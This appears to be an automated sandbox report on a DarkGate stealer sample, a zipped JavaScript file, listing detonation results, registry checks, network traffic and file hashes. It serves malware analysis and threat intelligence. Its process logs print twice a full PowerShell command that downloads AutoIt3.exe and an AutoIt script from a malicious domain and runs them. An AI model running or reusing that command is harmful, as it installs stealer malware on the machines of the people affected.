Malware Analysis Report

2024-11-30 11:17

Sample ID 231103-b9lyssac5x
Target 03112023_0950_XAC21SDADXCADVASD3.zip
SHA256 81caa473d18ad62f91cf713a1961d134b6943484008f7f07e08c921815475e61
Tags
darkgate user_871236672 stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

81caa473d18ad62f91cf713a1961d134b6943484008f7f07e08c921815475e61

Threat Level: Known bad

The file 03112023_0950_XAC21SDADXCADVASD3.zip was found to be: Known bad.

Malicious Activity Summary

darkgate user_871236672 stealer

DarkGate

Downloads MZ/PE file

Blocklisted process makes network request

Checks computer location settings

Executes dropped EXE

Enumerates physical storage devices

Checks processor information in registry

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-11-03 01:50

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-11-03 01:50

Reported

2023-11-03 01:53

Platform

win7-20231023-en

Max time kernel

119s

Max time network

123s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\XAC21SDADXCADVASD3.js

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\XAC21SDADXCADVASD3.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://jeraldsin3dsajdklafdmonk.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://jeraldsin3dsajdklafdmonk.com:2351/msibbdthtgy' -OutFile 'bbdthtgy.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'bbdthtgy.au3'"

Network

N/A

Files

memory/2620-4-0x000000001B2F0000-0x000000001B5D2000-memory.dmp

memory/2620-5-0x0000000002460000-0x0000000002468000-memory.dmp

memory/2620-6-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp

memory/2620-7-0x0000000002990000-0x0000000002A10000-memory.dmp

memory/2620-8-0x0000000002990000-0x0000000002A10000-memory.dmp

memory/2620-9-0x0000000002990000-0x0000000002A10000-memory.dmp

memory/2620-10-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp

memory/2620-11-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2023-11-03 01:50

Reported

2023-11-03 01:53

Platform

win10v2004-20231020-en

Max time kernel

145s

Max time network

151s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\XAC21SDADXCADVASD3.js

Signatures

DarkGate

stealer darkgate

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3350690463-3549324357-1323838019-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\tepp\AutoIt3.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\tepp\AutoIt3.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\tepp\AutoIt3.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\XAC21SDADXCADVASD3.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://jeraldsin3dsajdklafdmonk.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://jeraldsin3dsajdklafdmonk.com:2351/msibbdthtgy' -OutFile 'bbdthtgy.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'bbdthtgy.au3'"

C:\tepp\AutoIt3.exe

"C:\tepp\AutoIt3.exe" bbdthtgy.au3

Network

Country Destination Domain Proto
US 8.8.8.8:53 69.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 jeraldsin3dsajdklafdmonk.com udp
US 8.8.8.8:53 2.136.104.51.in-addr.arpa udp
US 8.8.8.8:53 121.252.72.23.in-addr.arpa udp
US 195.123.241.144:2351 jeraldsin3dsajdklafdmonk.com tcp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 144.241.123.195.in-addr.arpa udp
US 8.8.8.8:53 39.142.81.104.in-addr.arpa udp
US 195.123.241.144:2351 jeraldsin3dsajdklafdmonk.com tcp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 254.22.238.8.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 89.65.42.20.in-addr.arpa udp

Files

memory/5108-0-0x000001CF798E0000-0x000001CF79902000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q0tjazqn.zlj.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/5108-10-0x00007FFAC5C20000-0x00007FFAC66E1000-memory.dmp

memory/5108-11-0x000001CF79990000-0x000001CF799A0000-memory.dmp

memory/5108-12-0x000001CF79990000-0x000001CF799A0000-memory.dmp

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

memory/5108-26-0x00007FFAC5C20000-0x00007FFAC66E1000-memory.dmp

C:\tepp\bbdthtgy.au3

MD5 bbb0f7cd40ed7c626e70c58ee40d6dd5
SHA1 5f6c932f058693f4cdcd70540981064b683c4d7a
SHA256 04b46fa60521d98a81f9f0aca164f9a0cc36a6c2d30f326836e188ea2325849e
SHA512 c78a9de93da19287ccb5fc346084c3eb1bff883cd161b7dc7489f6472fc4355080f358fec3f0d2b92d276e449c58d3ab943164f0d5a7f6d5a00cdc784ab11b1b

memory/524-29-0x0000000002180000-0x0000000002280000-memory.dmp

memory/524-30-0x0000000004230000-0x00000000043C5000-memory.dmp

memory/524-31-0x0000000004230000-0x00000000043C5000-memory.dmp